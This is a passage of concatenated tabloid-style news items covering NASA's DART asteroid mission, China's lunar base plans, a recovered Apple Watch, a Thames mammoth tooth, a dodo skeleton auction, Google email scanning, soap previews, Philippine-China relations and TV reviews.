'kinetic impactor' in this case an eight foot long (2.4m) craft with solar electric propulsion. DART will be targeting the binary near-Earth asteroid Didymos, which measures roughly 2,600 feet (800m) across. NASA has in recent weeks announced measures it hopes will help to combat the threat posed by by NEOs. The DART mission relies on what's known as a 'kinetic impactor' targeting the binary near-Earth asteroid Didymos (artist's impression) After launching from California's Vandenberg Air Force base atop a Falcon 9 rocket in 2021, the DART craft is expected to reach the object Didymos in October 2022, when it's 6.8 million miles from Earth. File photo of a Falcon 9 after launch WHAT COULD WE DO TO STOP AN ASTEROID COLLIDING WITH EARTH? Currently Nasa would not be able to deflect an asteroid if it were heading for Earth but it could mitigate the impact and take measures that would protect lives and property. This would include evacuating the impact area and moving key infrastructure. Finding out about the orbit trajectory, size, shape, mass, composition and rotational dynamics would help experts determine the severity of a potential impact. However, the key to mitigating damage is to find any potential threat as early as possible. Nasa is currently moving forward with a refrigerator-sized spacecraft capable of preventing asteroids from colliding with Earth. A test with a small, nonthreatening asteroid is planned for 2024. This is the first-ever mission to demonstrate an asteroid deflection technique for planetary defence. The Double Asteroid Redirection Test (DART) would use what is known as a kinetic impactor techniquestriking the asteroid to shift its orbit. The impact would change the speed of a threatening asteroid by a small fraction of its total velocity, but by doing so well before the predicted impact, this small nudge will add up over time to a big shift of the asteroid's path away from Earth. Advertisement A top NASA asteroid scientist also recently said that the best way to defend the Earth from asteroids is to build a new telescope capable of spotting them as soon as possible. Dr Amy Mainzer from NASA's Jet Propulsion Laboratory in Pasadena, California, said that trying to spot asteroids with current telescopes was like trying to spot a 'lump of coal in the night's sky'. In April 2019, her team proposed a new system designed to spot large meteors capable of causing significant damage. It would identify incoming asteroids capable of causing huge loss of life - just like the meteor which wiped out the dinosaurs 66 million years ago. They claim this would give the scientists more time to come up with a strategy to intercept the rock. A NASA scientist has said that to defend the Earth from dangerous asteroids is to detect them via heat using an infra-red telescope called the Near-Earth Object Camera (NEOCam). Comet Catalina (pictured) in 2015 was captured by such a telescope called NEOWISE Dr Amy Mainzer said that trying to spot asteroids via their 'faint' light was like trying to spot a 'lump of coal in the night's sky', but that a proposed Near-Earth Object Camera mission (pictured) that detects heat waves would make it a lot more accurate Incoming space rocks are not always spotted in advance of their arrival, however. Incredible images released in March 2019 revealed a meteor that exploded in the Earth's atmosphere in December with ten times the force of the Hiroshima bomb - yet no one detected it. The incident took place at 11:50pm GMT (3:30am EST) on December 18, 2018, over the Bering Sea - between Russia and Alaska - but has only just been discovered. It is believed to be the second largest meteor explosion in the last 30 years, and the biggest since the high-profile Chelyabinsk incident. Construction work on a moonbase could begin within the next decade as China reveals its timeline for future missions to the lunar surface. Zhang Kejian, the administrator of the China National Space Administration (CNSA), announced the plans in a recent speech. The research facility will be located near the moon's ice-rich south pole and will be shared with multiple countries, Mr Zhang said. Ice will be needed on the moon to provide water for both human consumption and as a component for rocket fuel. The small step of a lunar base could serve not only as a platform for research but also as a refuelling station for giant leaps out into the solar system. Scroll down for video The announcement of China's timeline for space exploration follows its first soft landing of a spacecraft, Change-4 (pictured), on the far side of the moon, back in January of this year 'Building a lunar base will accumulate experience for an eventual landing on the moon and serve as a stopover as we fly to Mars,' the state-run Beijing News reported. The reveal of the space program timeline came on both China's National Space Day and the 46th anniversary of the launch of the country's first artificial satellite, Dongfanghong, in 1970. The announcement follows China's first soft landing of a spacecraft, Change-4, on the far side of the moon, back in January of this year. The joint lander and rover mission the first to set out to explore the far side of the moon has been analysing the chemistry of the rocks on the far side for comparison with samples taken from the Earth-facing side of the moon. Objectives of the lander and rover mission -- the first-ever to target exploration of the moon's far side -- include analysing chemical differences between the Earth-facing side of the moon and the mission's target area. The rover can only act at night, as temperatures at the landing sight reach 390F (200C) during the day, forcing the rover into short periods of hibernation. 'China had talked previously about their lunar intentions so its exciting if they have at last set out a time frame,' Chinese-American former NASA astronaut Leroy Chiao told The Times. 'Its an aggressive timeline, but not impossible,' he added. 'The architecture now being developed is more about building sustainable infrastructure to keep a human presence there.' China's planned lunar base is likely to be constructed near the moon's south pole, a region which is also the target of intended future US manned space mission. This part of the moon is rich in ice that can found inside of permanently shadowed craters. The whole region has been comprehensively mapped out by NASA's robotic Lunar Reconnaissance Orbiter. China's planned lunar base is to be constructed near the moon's south pole (shown at the bottom of this image of the dark side of the moon, which was reconstructed from data taken by NASA's Clementine spacecraft) A reliable water supply will be essential to future manned lunar missions, as is required for both human life support and also the production of rocket fuel. This fact will position the moon as a key pit-stop for future manned craft en-route to Mars and further out into space. Support for space exploration has been growing among the Chinese population. President Xi Jinping is reportedly hopeful that future space missions will foster growth in Chinese aviation, robotics and artificial intelligence research, with a strong space programme being core to his ongoing 'national revival' programme. In the more immediate future, Beijing will be sending another spacecraft to the moon later this year, in December. The probe will collect and return samples of moon rock for analysis and display back on the Earth, Mr Zhang said. Change-4's lunar rover, Yutu 2, is the first to explore the dark side of the moon (pictured) Of course, China is not the only country reaching out towards the stars. Russia also is planning a habitable lunar base, albeit on a longer timeline, with construction intended to begin after the year 2035. In addition, the Trump administration in the US has announced a 2024 deadline for landing US astronauts back on the moon although it is presently unclear how this will be congressional funded and exactly what form such a mission would take. Despite US vice-president Mike Pence has recently portrayed America and China competition in a global space race, NASA and CNSA heads are keen on collaborative efforts where permitted within the confines of national legislation. 'We put humans on the Moon in 1969, so I think that race is over,' NASA administrator Jim Bridenstine told The Space Review last month. 'We want to take advantage of all of these different partnerships. I think its part of American leadership,' he added. An Apple Watch lost to the ocean after a large wave knocked it off the wrist of its surfing owner has been found in perfect working order six months later. Robert Bainter, a frequent surfer at Huntington Beach, California, used the device to monitor his activity and stats. After discovering it had fallen from his wrist he activated Lost Mode and eventually replaced the device. A passing beach-goer spotted it in the sand three miles away from where it was lost and contacted Mr Bainter via the on-screen contact information that was displayed. After discovering it had fallen from his wrist, Mr Bainter activated Lost Mode and eventually replaced the device. A passing beach-goer spotted it three miles away from where it was lost and, despite a hazy screen, was in perfect working order WHAT IS LOST MODE AND HOW DOES IT WORK? Lost Mode automatically locks an Apple device. It lets users assign a phone number and onscreen message for anyone who finds it. If it is recovered an owner can unlock it again using the Web or iOS versions of Find My iPhone. Advertisement 'This thing has been my good luck charm. I would use it quite often to show the surf and how fast you were going. It would even show you where you were on the beach,' Robert Bainter told KTLA. 'A huge wave came and you know I was loving it, rode it and then I pick up my arm and like "Oh My God, what just happened".' Mr Bainter says he spent an hour searching for the device before turning on the Lost Mode via the 'Find my iPhone' app on his handset. The avid Apple fan eventually resigned himself to the inevitable demise of his gadget and purchased a replacement, believing it to be lost forever. A man scouring the beaches for sea shells found the Apple Watch and got in contact with Mr Bainter to reunite him with it. Robert Bainter, a frequent surfer at Huntington Beach, California, used the device to monitor his activity and stats. The avid Apple fan eventually resigned himself to the inevitable demise of his gadget and purchased a replacement believing it lost forever The Apple Watch turned up on the beach three miles away from where it had been lost and had survived the waters for several months. Apple Watches are now officially certified as water-resistant, but earlier versions were not Despite a slightly hazy display caused by saltwater eroding the watches' glass surface, it appears to be fully operational. 'It worked fine, it didn't skip a beat, all the information was there, all the apps were there,' Mr Bainter added. 'I'm a big Apple fan. It's the cutting edge done right.' Apple Watches are now officially certified as water-resistant, but earlier versions were not. Apple has always been cautious in its avoidance of comprehensive terms such as waterproof, and instead opted for labels such as water-resistant. The original Apple Watch and Series 1 were considered to be splash- and water-resistant but the devices were not intended for submersion. Later versions like the Series 2, 3 and 4 are considered to be water-resistant to 160 feet (50 metres), but Apple recommends that you stick to shallow-water swimming and avoid 'high-velocity water'. It appears the depths of the ocean and the power of the large wave mean Mr Bainter's device exceeded expectations. A Londoner scouring the muddy banks of the river Thames shore has discovered an ancient woolly mammoth tooth. It's the second mammoth tooth discovered by the mudlark on the Thames after he found a milk tooth from a baby mammoth five years ago. The tooth, thought to be a molar, is in good condition with three-quarters of it still intact and weighing the same as a bag of sugar, according to its finder. Experts are currently analysing the molar and trying to confirm its exact age. A Londoner scouring the Thames shore has discovered an ancient woolly mammoth tooth thought to be a molar (pictured) at low tide Alan Murphy, 50, who found the prehistoric fossil, is a veteran mudlarker and has had a license that gives him permission to search the Thames foreshore for the last 30 years. According to Mr Murphy, three-quarters of the newly found woolly mammoth's tooth remained intact, weighing the same as a bag of sugar and is the same length as from the tip of his index finger to his wrist. Mr Murphy usually trawls the Thames collecting flint to make replica tools - such as arrow heads and axes. He said: 'I go out collecting flint and make replica tools like arrow heads and axes. 'I was out collecting flint when I noticed something sitting on the water's edge which I thought was a bit of flint at first. It was not his first woolly mammoth discovery on the Thames, as Mr Murphy found a milk tooth from a baby woolly mammoth five years ago. He said he immediately knew what the item truly was saw but could not be certain until the item was registered and checked. The woolly mammoth tooth (pictured) found along the Thames is thought to be a molar and is in good condition, with three-quarters of it intact and weighing the same as a bag of sugar, said its finder It's the second mammoth tooth (pictured left) Mr Murphy has found on the Thames in five years, the earlier being a milk tooth from a baby mammoth (pictured right) WHAT IS MUDLARKING? 19th century mudlark from Henry Mayhew's book, London Labour & London Poor, 1861 Mudlarking as a profession started in the late 18th and then into the 19th century, and was the name given to people scavenging for things on the riverbank and selling them. These original mudlarks were often children, mostly boys, who would earn a few pennies selling things like coal, nails, rope and bones that they found in the mud at low tide. They are described as 'pretty much the poorest level of society, scrabbling around on the foreshore trying desperately to make a living' by Meriel Jeater, curator in the Department of Archaeological Collections and Archive at the Museum of London. A mudlark's income was very meagre, and they were renowned for their tattered clothes and terrible stench. A mudlark was a recognised occupation until the early 20th century. Dr Michael Lewis, the Deputy Head of Portable Antiquities and Treasure at the British Museum, says that mudlarks' finds can 'alter our picture of the past. The mudlarks have found numerous toys (i.e. miniature plates and urns, knights on horseback and toy soldiers) that have actually changed the way historians view the Medieval period. Over the last 30 years, the Museum of London has acquired over 90,000 objects recovered from the River Thames foreshore which is the longest archaeological site in Britain, but only a few of these artefacts are on display. Although in 1904 a person could still claim 'mudlark' as his occupation, it seems to have been no longer viewed as an acceptable or lawful pursuit. By 1936 the word is used merely to describe swimsuited London schoolchildren earning pocket money during the summer holidays by begging passers-by to throw coins into the Thames mud, which they then chased, to the amusement of the onlookers. More recently, metal-detectorists and other individuals searching the foreshore for historic artefacts have described themselves as 'mudlarks'. In London, a license is required from the Port of London authority for this activity and it is illegal to search for or remove artefacts of any kind from the foreshore without one. Advertisement He said: 'I knew straight away but I could only be 95 per cent sure it was what I thought it was. The rules of the Thames foreshore permit dictates that all items over 300-years-old or are of significant importance and should be registered with the Museum of London or the British Museum. Among Mr Murphy's previous finds are a Bronze Age deer antler mattock from between 1,000 and 3,000 BC and an 11th Century drinking horn from the end of the Viking era. Mr Murphy said the conditions in the mud helped preserve the mammoth fossil and many other items he has found hidden beneath it. Mr Murphy usually trawls the Thames collecting flint to make replica tools - such as arrow heads and axes. Pictured is the trawl that Mr Murphy uses in his excavations along the Thames Among Mr Murphy's previous finds is this medieval child's urchin leather shoe (pictured) which still laced up A 19th Century sheep Bone ice skate (pictured) found by Mr Murphy from the time of the frost fairs on the Thames when it used to freeze over and these skates were made to attach to shoes, said Mr Murphy Jet setters could soon be flying off to holiday destinations or island hopping on a pilotless passenger aircraft. Online travel agency Kiwi.com has partnered with Czech aero technology company Zuri to develop a concept that could fly completely unmanned. Developers hope the prototype will be able to fly up to 434 miles (698 km)- the equivalent of flying from London to Germany. Similar to drones, it would use vertical take off and landing (VTOL) technology, and be powered using eight electromotors. The concept craft is expected to carry up to four passengers, according to Zuri which is looking to produce a functional prototype with the initial investment. Autonomous aircraft and technologies could help cut costs for airlines by reducing the number of crew and opening up the potential option of a single pilot operation. Plane manufacturers including Airbus and Boeing are racing to develop artificial intelligence that will one day enable computers to fly planes. Scroll down for video Jet setters could soon be flying off to holiday destinations on a pilotless passenger aircraft. Online travel agency Kiwi.com has partnered with a aero technologies company Zuri to develop a concept that could fly completely unmanned Zuri's plane is expected to be able to travel on a pre-programmed route up to 700km (434 miles) - the equivalent of London to Germany. The plane would have a wing span of roughly 36 feet (11m) and would weigh only 900kg (141 stone). The VTOL technology means the plane can land vertically, so not as much space as a regular plane is needed, meaning you could land in more places. Its design combines the advantages of helicopters and aircraft, with electrically driven rotors that allow vertical takeoff and landing Similar to drones, it would use vertical take off and landing (VTOL) technology, and be powered using eight electromotors. Developers hope the prototype will be able to fly up to 434 miles (698 km)- the equivalent of going from London to Germany The concept craft is expected to carry up to four passengers, according to Zuri which is looking to produce a functional prototype with the initial investment. It will be able to travel on a pre-programmed route up to 700km (434 miles) - the equivalent of London to Germany According to the Zuri website, the plane would be ideal for travelling between islands as customers wouldn't need to worry about changing from commercial flights to boats, taxis or car rides. Oliver Dlouhy, Kiwi.com's CEO and Co-Founder said: 'The Zuri project represents a direction that I see as key in the future of transport and our investment is proof of that. 'This segment is practically nonexistent, although it is one of the main elements in both the first and the last stage of transport. The VTOL technology means the plane can land vertically, so not as much space as a regular plane is needed, meaning you could land in more places. Its design combines the advantages of helicopters and aircraft, with electrically driven rotors that allow vertical takeoff and landing 'Intertwined with the global transportation network, it will bring completely new options for travelling by adding thousands of smaller cities into the airports' catchment areas by extending these by the radius of up to 700 kilometres.' But pilotless or single pilot operation of airplanes wont be easy in an industry where at least two pilots in the cockpit is mandatory. Many airlines around the world made this a rule after a Germanwings pilot flew an plane into the French Alps in March 2015, killing all 150 people on board. Its also unclear whether passengers or their insurers or carriers would accept or permit it, according to aviation experts. A skeleton made up of bones from a number of dodo birds is expected to fetch up to 600,000 ($778,000) at an upcoming Christie's auction in London. The specimen has been pieced together from bones discovered in Mauritius in the early 19th century. It will go up for sale next month with a number of other specimens from around the world including a fossil of the extinct marine reptile Ichthyosaur. Dodo skeletons from the same bird is extremely rare, and only one dodo specimen in the world has an intact head. Scroll down for video A skeleton (pictured) made up of bones from different dodo birds is expected to fetch up to 600, 000 pounds at an upcoming Christie's auction. The specimen has been pieced together from bones of different dodo birds discovered in Mauritius in the early 19th century Dr Julian Hume, a British avian palaeontologist, said: 'More has been written about the dodo than any other bird, a true icon of extinction, yet virtually nothing is known about it in life. 'Apart from a few bones, a handful of inadequate historical illustrations and accounts, and some 300 years after its demise, this emblematic bird continues to prompt wonder and debate.' The skeleton will be sold at the Christies Science and Natural History auction on May 24 along with a T-Rex tooth, an elephant bird egg, meteorites, and the largest swimming dinosaur fossil ever to be bid on. The bones are a mixture of fossils - remains that are embedded in rocks - and non fossilised buried bones. As a whole, they are expected to fetch between 400,000 ($517, 000) and 600,000 ($778,000) at auction. The majority of pieces in the skeleton come from discoveries made in a 1865 excavation of a marshland in south east Mauritius called the Mare aux Songes. It will go up for sale next month with a number of other specimens from around the world including a fossil of the extinct marine reptile Ichthyosaur. Dodo skeletons from the same bird is extremely rare, and only one dodo specimen in the world has an intact head Some of the bones were discovered by an amateur naturalist and barber called Louis Etienne Thirioux, who spent a lot of time scouring the Mauritian countryside. Among his most valuable of his finds were a number the dodo bones. The last widely accepted sighting of the dodo was in 1662 in Mauritius. First recorded by Dutch sailors on the island in 1598, the dodo was a flightless bird, standing about 3ft (1m) tall, a distant relation of the pigeon family. The arrival of human settlers to the Mauritian islands meant that its numbers rapidly diminished as it was eaten by the new species invading its habitat - humans. Today, bones of the dodo are very rare, particularly those which remain intact from the same animal. The most famous dodo specimen is in the Oxford University Museum of Natural History and is the only with an intact dodo head in the world - all others are merely skulls. Many on display in museums are replicas - such as those found at London's Natural History Museum. Human rights advocates are alleging that Google may be playing a role in the U.S. government's efforts to conduct warrantless searches. The Electronic Privacy Information Center (EPIC), based in Washington, D.C., filed an amicus brief that makes those allegations in United States v. Wilson, a federal appellate case. EPIC argues that the federal government is using Google to circumvent the Fourth Amendment, which prohibits unreasonable searches and seizures without due process or probable cause being established. Scroll down for video The Electronic Privacy Information Center (EPIC), based in Washington, D.C., filed an amicus brief that makes those allegations in United States v. Wilson, a federal appellate case 'EPIC has filed an amicus brief in United States v. Wilson, a case concerning Google's scanning of billions of personal files for suspected unlawful content, at the behest of the federal government,' EPIC said in a statement late last month. The U.S. government has increasingly utilized private entities, such as Google, Facebook and Apple, to seize user data from cellphones and computers without the need for a warrant. Because these entities don't have to abide by the Fourth Amendment, agencies like the FBI can simply subpoena them for records like email messages en masse. Google and several other companies have agreed to monitor users' emails for images that match up with known child pornography, using a process called image hashing. It's essentially an automated detection system that allows Google to quickly flag child pornography images when the photograph has the same 'digital fingerprint,' or mathematical hash, as it has on record. Recently, Google has taken the process a step further and deployed an algorithm to scan email communications for suspected child pornography. Google hasn't disclosed just how the algorithm works, however, raising concerns that it could be biased or flawed. The U.S. government has increasingly utilized private entities, such as Google, Facebook and Apple, to seize user data from cellphones and computers without the need for a warrant '[Google] have not made the algorithm available for inspection or established that it can reliably identify files as containing contraband,' EPIC argued in the amicus brief. 'Moreover, image matching techniques, at issue in this case, do not operate the same way as file hash functions, which do in fact confirm that two files are identical. 'And the law review article that the lower court in this case relied upon never made this distinction or discussed the use of image matching techniques,' the document continued. Further, EPIC argues that Google could use its algorithms to monitor material that's unrelated to child pornography, such 'to determine if files contain religious viewpoints, political opinions, or "banned books."' It's worth noting that Google, Apple and Facebook have previously urged the Supreme Court to protect cellphone data under the Fourth Amendment, preventing it from warrantless search and seizure by the government. Google is no stranger to scrutiny around its dealings with the government. EPIC pointed to Google's recent conflict over its rumored development of a censored search engine in China, called Project Dragonfly. Advertisement 'Where have they gone?' That's what your dining or drinking partner might wonder after you step into one of these bathrooms. MailOnline Travel has toilet-hopped around the world to find the most Instagram-worthy loos which, were you to visit, would keep you snapping away for quite some time. For a taste of the bizarre, Sketch in London has installed giant egg-shaped cubicles in its dining establishment, making it feel as if you might have stumbled upon a dinosaur's nest. Or if you're after something a little more opulent, the mirror and marble-clad restroom at the Brasserie of Light restaurant, also in the British capital, promises to impress. For the ultimate hipster snap however, head to the graffiti-riddled loos at Welcome to the Johnsons in New York's Lower East Side, once frequented by Lady Gaga. Scroll down... urine for a few surprises. You might need your sunglasses for the mirrored marble bathrooms at the Brasserie of Light restaurant in London. The interior design was completed by the renowned Martin Brudnizki. Along with impressive bathrooms the restaurant, which is located within the Selfridges department store, features London's largest-scale artwork by Damien Hirst - of a flying horse You might think you've stepped on to another planet after venturing to the kooky bathrooms at Sketch in London. The restaurant and bar complex features egg-shaped male and female cubicles, with a clinically-white colour theme running throughout the toilet area. Conveniently placed mirrors enable customers to capture Instagram-worthy snaps Transport yourself to Morocco with a trip to the bathrooms at Mourad in San Francisco. The restaurant washrooms feature intricate mosaic tiles running from floor-to-ceiling and twinkling lanterns. Mirrors inside the unisex stalls create a kaleidoscope effect and give the feeling of more space The women's powder rooms at top London private members' club Annabel's - which has hosted everyone from Frank Sinatra to Leonardo DiCaprio - could keep you entertained for quite some time. The bathrooms, designed by Martin Brudnizki, the man behind the breathtaking innards of Sexy Fish and The Ivy, feature a ceiling carpeted with fake roses, gold bird-shaped faucets, natural stone wash basins and a marble floor Looking more like a sultry lair than a place to powder one's nose, the toilets at Blvd restaurant in West Chicago ooze Art Deco chic. The eatery draws inspiration from the Golden Age of Hollywood, with brushed brass detailing, ebony interiors and impressive light fixtures. The restroom includes a circular banquette to recline on and dressing tables so you can make sure your hair and lipstick is in check The Ned in London is one of the city's hottest venues with eight different restaurants to choose from and a buzzing Great Gatsby-esque atmosphere. This makes the toilets (pictured left) a popular place for Instagrammers, who want to prove they were there. Right, for the ultimate hipster snap, head to the graffiti-riddled loos at dive bar Welcome to the Johnsons in New York's Lower East Side, once frequented by local Lady Gaga You might be delayed in the bathroom at Bokan in London, as you stand transfixed by the sky-high views. The trendy restaurant, located on the 37th floor of a tower in the City's financial district, boasts floor-to-ceiling windows in its toilets The classical bathrooms at The Ritz London invite guests to take their time, with mirrors to freshen make-up, a sofa to recline on and magazines to peruse. Many people head to the hotel and restaurant to snap a photo of the famous establishment, which Jackie Onassis once described as being 'like paradise' The Madonna Inn in San Luis Obispo, California, has a hot pink theme in its utterly eccentric restaurant bathroom. The washroom is decked out with theatrical gold framed-mirrors, chandeliers and buttoned leather-clad cubicles The Mandrake hotel restaurant bathrooms regularly pop up on Instagram for their sultry interiors. The wash basin area is dimly lit with a contemporary light fixture dominating the space. Instagram user @sforester86 took a photo of the space, captioning it: 'If Carlsberg did a bathroom, The Mandrake has absolutely nailed it' More like museum archives than lavatories, the bathrooms at the exploration-themed Mrs Fogg's bar in London feature old collectors drawers and the toilet doors double up as display cabinets. The cases feature an eclectic mix of items from wild flowers to exotic-looking beetles The Hermitage Hotel in Nashville, Tennessee, has some pretty nice rooms and restaurants but many visitors pop in to catch a glimpse of the zany ground-floor men's bathroom. The unique toilets are art-deco in style with gleaming lime-green-and-black leaded glass tiles, lime-green fixtures and a two-seat shoeshine station. There is also a working telephone that connects to the front desk. It was once voted 'America's best restroom' and continues to be a popular pit stop One of the restaurant bathrooms at the Lux South Ari Atoll resort in the Maldives is pretty bizarre, with old fishing buoy-themed light fixtures and a whale tale-shaped seat in front of the wash basin. Pebble-shaped mirrors allow toilet-goers to snap selfies in the surreal space or there is a photo booth by the unisex cubicles that does all of the work for you When a major character returns after a long absence, as happens in EastEnders this week, its always hit or miss. Generally, bringing people back from the dead doesnt work since its a suspension of belief thats too big, even by soap standards. Sixteen million (ratings EastEnders could only dream of today) were on the edge of their seats for the episode, in 2003, when Dirty Den returned after 14 years. After his initial Ello Princess greeting to daughter Sharon, it was all downhill as he got caught up in a series of daft plotlines and was eventually killed off for good two years later. Kathy Beales return from the dead, also after 14 years, made even less sense, as her family now just carry on as though nothing happened. Coronation Street, wisely, prefers to have big characters return for a limited time as we saw recently with Jim McDonald and Cilla Battersby-Brown. Emmerdale has got it spot on with their comebacks. Its hard to imagine the show without Robert Sugden now, and villainous Kim Tate has slotted right back in. This week in EastEnders Sean Slater returns and ends up in a brawl with Jack Branning. Pictured: Jack (played by Scott Maslen) and Sean (Rob Kazinsky) EASTENDERS: WELCOME BACK, SEAN! After ten years away, Sean Slater returns and gets a traditional Walford welcome he ends up in a brawl with Jack Branning. Having only just learned Roxie is dead, Sean is furious Jack is bad mouthing his ex and blaming her for everything that went wrong in his life. Kat and Stacey are stunned at Seans return and Jean is thrilled to be reunited with her son who takes her to a chemotherapy appointment. Noticing the negative impact his presence is having on their mother, Stacey has strong words with her brother who considers leaving town as quickly as he arrived. But, Jean suggests they go away for some mother and son bonding time. They book a stay in a remote farmhouse since when did any storyline involving a remote farmhouse end well? Kat and Stacey are stunned at Seans (pictured) return and Jean is thrilled to be reunited with her son Jean has an accident and when Sean realises how badly hurt she is, he makes a shocking confession. Murder, drug dealing, burying someone alive what else could he have to confess? Honey announces her plans to move in with awful Adam as soon as possible, trashing all hope Billy had of a reconciliation and, at his party, Billy drowns his sorrows. CORONATION STREET: MARY WANTS JAN TO BE HER MAN As the net closes in on the factory roof saboteur, its Nick who falls under suspicion. Toyah discovers Waynes missing report under Nick and Leannes mattress and points the finger at him. Nick insists hes been framed, and the report must have been planted. Its enough to get Nick arrested and accused by the police of being in league with Carla for financial gain. Shona is convinced Nick is guilty and you cant blame her, were talking about the man who stole a small fortune from his own grandmother. In Coronation Street, Mary (Patti Clare) has a wild dream about Jan (Piotr baumann) and becomes convinced its a sign theyre meant to be together Worried Simon has too much on his plate with trying to look after his father (surely hes used to that by now) Leanne insists Toyah and Imran move out of the flat so that Simon can have his old room back. Since when has a bulging household been a problem for folk on Coronation Street? Leanne should get some tips from Eileen, shes squeezed eight people into her two up two down in the past. Mary has a wild dream about Jan and becomes convinced its a sign theyre meant to be together, and they go for a drink. Worried that a doe-eyed Mary has the hots for him, Jan invents a story about the love of his life being killed by a cattle truck in Poland in the hope of deterring her. Instead of putting Mary off, it ignites the flames of passion. But when she discovers Jan has lied, shes unimpressed. Be afraid Jan, be very afraid. EMMERDALE: IS IT THE END FOR ERIC? Paddy and Vanessa are furious that Rhona has invited Kims son Jamie in to interview for the vets role. He makes an explosive return to the village when Megan, distracted by texting, crashes into his car which, in turn, knocks down Eric Pollard. Character Eric Pollard (pictured and played by Chris Chittell) is knocked over by Megan's car in Emmerdale this week In a bad way, Eric is rushed to surgery. Its a wonder anyone can afford to drive in Emmerdale, insurance premiums must be through the roof after all the crashes. Unaware Eric has been in an accident, Faith sounds off in The Woolpack about how shes feeling neglected giving Bear the green light to make a move on her. THE SOAP YEARS 10 YEARS AGO CORRIE It has been 10 years since Colin (Edward De Souza) proposed to Rita ([Barbara Knox) at his birthday party on Corrie Colin Grimshaw proposed to Rita Sullivan at his 70th birthday party at the Rovers. But the celebrations were cut short when Paula Carp announced Colin had abused her and got her pregnant when she was underage. Rita dumped Colin. 15 YEARS AGO EASTENDERS Fifteen years ago Mark Fowler (played by James Alexandrou) died in EastEnders A telephone call informed Martin Fowler that his brother Mark who left Walford a year earlier to prevent his family watching him die of AIDS had passed away. His body was returned for a moving send-off. 20 YEARS AGO EMMERDALE It has been 20 years since Graham Clark (Kevin Pallister) tried to get Rachel (Glenda McKay) to dress like his late wife Weirdo teacher Graham Clark had been trying to exert control over girlfriend Rachel Hughes by getting her to dye her hair and dress like his late wife Rebecca. His bizarre behaviour continued when he planted cannabis on Rachel, leading to her arrest. Metro Manila (CNN Philippines, April 26) President Rodrigo Duterte is on his fourth trip to China, a country which has a territorial dispute with the Philippines. But the trip and closer ties could be beneficial to the Philippine economy, as the Eastern giant continues to be the fastest growing economy in Asia, an economist said Friday. In 2018, the Chinese economy grew by 6.6 percent. "We have to strengthen our economic relations with China. It is, after all, the bear in the room. In other words, it's the giant in the room and we cannot ignore that," Calixto Chikiamco, President of the Foundation for Economic Freedom said in interview on CNN Philippines Business Roundup. Chikiamco cited Vietnam as another country forming economic ties with China despite also having claims in the South China Sea. "Vietnam is also on a very tense relations with China because of their territorial disputes too, but it's a two track thing. Assert their rights when it's necessary, with respect to their territorial claims but still foster closer relations economically," he said. However, the effects of a political pivot to China remain to be seen, the economist said. "We can't afford to alienate one or the other. But we do sometimes need to stick to principles when it calls for it," Chikaimco said on warming political ties with China. He added that whether or not forging stronger ties with China politically would lead to a withdrawal of the Eastern giant from the Philippines' exclusive economic zone remains to be seen. President Rodrigo Duterte is currently attending the Belt and Road Forum in Beijing, China, and is set to return late Saturday evening. Since taking office in 2016, Dutere has taken steps to cultivated strong ties with China -- a turnaround from frosty relations during the time of his predecessor. His critics, however, have censured him for his soft stance despite China's increasingly aggressive moves in the disputed South China Sea and for a slew of Chinese loans that they fear would put the country under China's debt trap. Ambulance Rating: Happy Birthday OU Rating: Deliveramus! Hogwarts devotee Stacey must have got her spells muddled because, staying at a Manchester hotel for a Harry Potter convention, the 25-year-old popped into the bathroom and came out with a baby. Her best mate Rebecca didn't quite know how to explain this to the 999 call-handler on Ambulance (BBC1), the endlessly interesting observational documentary series that follows paramedic crews throughout a hectic shift. 'My friend, she's not been well all day,' Rebecca began. 'And then she's literally just... had a baby? She didn't know she was pregnant.' Paramedics Clare and Gemma star in reality show Ambulance, which follows emergency crews throughout a hectic shift Incredibly, Stacey had recently been examined by a doctor and told her swollen belly might be caused by a cyst. A pregnancy test was negative. Dark magic was afoot, clearly. The ladies in the 999 call centre were baffled. 'I'm not being funny,' said one, 'but at nine months, I looked like a potato.' Stacey suffered complications but, thankfully, the rapid attention of the skilled NHS team saved her life. Little Elizabeth Alice Rose was bonny and healthy... though as the paramedic pointed out, she really should have been called Hermione. It was remarkable that the crew had time to help Stacey at all, because almost every ambulance in the city appeared to be busy with homeless addicts. One man, slurring his words and suffering from a badly inflamed leg, claimed to be teetotal and drug-free until the paramedic caught him inhaling butane from a gas canister hidden in his coat sleeve. Lenny Henry, who has a PhD from the Open University, presented a 50th birthday tribute to the educational institution He admitted sucking up ten to 15 cans of lighter fuel a day: 'It blanks me problems,' he slurred. The medic shook his head sadly. 'It causes your problems,' he said. Another junkie, freed from jail that morning, downed every illegal drug he could lay his hands on and overdosed. By the time the crew found him, he'd taken enough to euthanise a whale, but the crew fought to save him. The ambulance heroes and heroines make no attempt to judge their patients, and the documentary wisely resists that course, too. As we learned last month when ex-Army captain Ed Stafford spent two months living rough for a Channel 4 documentary, the streets of Manchester have seen a sharp rise in homeless sleepers. Many are ravaged with drugs, and Ambulance highlighted how frustrating it must be for the crews, unable to do much more than hand out blankets. The hour ended with a montage set to a gorgeous cover of Paul McCartney's Golden Slumbers, the one from the John Lewis advert and a reminder of how many beautiful melodies have poured from Macca's piano. Clever monkey of the night: Martin Clunes met a pigtail macaque in Thailand, on My Travels And Other Animals (ITV), that climbed trees to harvest coconuts. It travelled to work in a motorcycle sidecar. Wallace and Gromit would approve. Advertisement There were too many hits on the soundtrack of Happy Birthday OU (BBC4), a celebration of the Open University led by one of its graduates, Lenny Henry, who completed a PhD with the 50-year-old institution. It's Doctor Sir Lenworth to you and me. Dozens of pop songs accompanied the archive clips, scrambling for attention. For instance, the university's driving force the redoubtable Jennie Lee entered the story to the backing of Californian surfer duo Jan & Arnie... with a forgotten number called Jennie Lee. That's trying too hard. Many of the interviews were taken from a 2009 documentary that marked the OU's 40th anniversary. This wasn't the first time we've seen reformed gangland killer Bobby Cummines recalling how he studied for his degree in solitary: 'It was such a buzz, it was better than robbing banks.' But the shots of long-haired lecturers in knitted sleeveless pullovers, scrawling chemical equations on blackboards, were far more entertaining to see than they were in the Seventies. She's the former soap star who has found success Stateside as a comedic actress. And on Thursday, Isla Fisher took time out for a spot of shopping at trendy Melrose Ave in Los Angeles. Joined by a friend, the 43-year-old perfected off-duty chic in a white T-shirt, cropped jeans and a green jacket. Retail therapy: Isla Fisher, 43, enjoyed a spot of shopping at trendy Melrose Ave in Los Angeles on Thursday Isla kept light on her feet in a pair of blue suede sneakers and accessorised further with retro frammed sunglasses and a blue tote bag. The mother-of-three let her auburn locks flow freely and she opted for natural look makeup. Isla appeared relaxed as she strolled the streets of LA with a female friend, who was also casually dressed. Casual 